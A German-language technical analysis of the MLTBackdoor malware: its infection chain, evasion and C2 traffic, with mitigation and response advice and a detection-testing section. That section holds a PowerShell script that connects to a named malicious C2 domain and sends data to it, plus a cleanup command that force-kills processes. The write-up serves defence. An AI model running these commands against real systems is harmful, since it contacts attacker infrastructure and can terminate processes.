Technische Analyse von MLTBackdoor

Zusammenfassung

Zscaler ThreatLabz identifizierte im Mai 2026 eine neue Malware-Familie, MLTBackdoor. Die Bedrohung wird über eine mehrstufige ClickFix-Infektionskette verbreitet und scheint von Ransomware-Betreibern genutzt zu werden, um anfänglichen Zugriff zu erlangen und laterale Bewegung zu unterstützen. Die Malware verlässt sich auf starke Verschleierung, einen Domain-Generator-Algorithmus und einen Beacon Object File (BOF) Loader, um ihre Fähigkeiten nach der Ausführung zu erweitern. Ihre Netzwerkkommunikation ist über TLS verschlüsselt und soll legitimen Microsoft Delivery Optimization-Datenverkehr nachahmen, was dazu beiträgt, die Aktivitäten in das normale Netzwerkverhalten zu integrieren.

Untersuchung

Die Analyse verfolgte die Infektionskette zurück zu einem conhost.exe -Wrapper, der ein komprimiertes Archiv von einer Domain herunterlud, die durch die DGA-Logik der Malware generiert wurde. Innerhalb dieses Archivs entschlüsselte endpointdlp.dll eine RC4-verschlüsselte Nutzlast, die dann als MLTBackdoor-Binärdatei geladen wurde. Forscher fanden heraus, dass die Malware gemischte Boolesche Arithmetik, Kontrollfluss-Flachung, indirekte Systemaufrufe und ein eigenes verschlüsseltes Kommunikationsprotokoll verwendet, um Analysen und Erkennungen zu erschweren. Der eingebaute BOF-Loader ermöglicht den Betreibern außerdem, zusätzliche Cobalt Strike-ähnliche Module im Speicher auszuführen.

Minderung

Verteidiger sollten die identifizierten Command-and-Control-Domains blockieren und die verwandten DGA-Muster überwachen. Die Erkennung sollte sich auch auf die spezifische User-Agent-Zeichenfolge und den TLS-Verkehr richten, der auf /api/v1/telemetry über Port 443gerichtet ist. Sicherheitsteams sollten auf verdächtige Verwendung von conhost.exe mit den dokumentierten Argumenten achten und auf die Erstellung von entschlüsselte endpointdlp.dll in temporären Verzeichnissen. Verhaltensbasierte Erkennungen für API-Hashing und die Nutzung indirekter Systemaufrufe können die Sichtbarkeit von MLTBackdoor-Aktivitäten weiter verbessern.

Reaktion

Wenn MLTBackdoor-Aktivitäten erkannt werden, isolieren Sie den betroffenen Endpunkt sofort, beenden Sie den bösartigen Prozess und entfernen Sie alle Dateien, die vom Temp -Verzeichnis durch den initialen Loader abgelegt wurden. Ermittler sollten dann eine forensische Überprüfung auf zusätzliche BOF-Module oder Folgelasten durchführen. Alle potenziell kompromittierten Anmeldeinformationen sollten zurückgesetzt werden, und die Bedrohungsjagd sollte erweitert werden, um Versuche einer lateralen Bewegung mit derselben Taktik zu identifizieren.

Simulation Ausführung

Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der vom Gegner verwendeten Technik (TTP), die die Erkennungsregel auslösen soll. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und zielen darauf ab, die genau erwartete Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffs-Narrativ & Befehle:

  1. Aufklärung – Klären DGA-Domain – Die Hintertür generiert eine DNS-Abfrage für hrs2y15sungu.com, eine Domain, die durch ihren internen DGA generiert wurde.
  2. C2-Kontakt – Öffne einen TCP-Socket – Unter Verwendung von PowerShell stellt der Gegner eine rohe TCP-Verbindung zur aufgelösten IP auf Port 443 (HTTPS) her, um mit normalem Datenverkehr zu verschmelzen.
  3. Nutzlastabruf (T1105) – Über denselben Socket würde die Hintertür zusätzliche Module ziehen; für den Test senden wir einfach eine harmlose Zeichenkette.

  Diese Schritte lösen einen Sysmon-Ereignis-ID-3-Datensatz mit DestinationHostname = hrs2y15sungu.comaus, was die Auswahl Bedingung der Sigma-Regel erfüllt.

• Regression-Testskript:

  # TC-20260610-A7B3Z – Simuliere MLTBackdoor-C2-Kommunikation
  # -------------------------------------------------------
  # 1. Lösen der bösartigen Domain (simulierte DGA-Ausgabe)
  $malDomain = "hrs2y15sungu.com"
  try {
      $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString
  } catch {
      Write-Error "Fehler beim Auflösen von $malDomain – Test wird abgebrochen."
      Exit 1
  }
  
  # 2. Öffne eine TCP-Verbindung zur aufgelösten IP auf Port 443
  $port = 443
  $client = New-Object System.Net.Sockets.TcpClient
  $client.Connect($ip, $port)
  
  # 3. Senden einer harmlosen Nutzlast (simuliert Modulabruf)
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD")
  $stream.Write($payload, 0, $payload.Length)
  
  # 4. Halte Verbindung kurz aufrecht, um die Protokollgenerierung zu garantieren
  Start-Sleep -Seconds 5
  
  # 5. Aufräumen
  $stream.Close()
  $client.Close()
  Write-Output "Simulation abgeschlossen – Verbindung zu $malDomain ($ip:$port) geschlossen."

• Aufräum-Befehle:

  # Sicherstellen, dass keine verbliebenen Sockets vorhanden sind (falls das Skript abgebrochen wurde)
  Get-NetTCPConnection -RemotePort 443 |
      Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }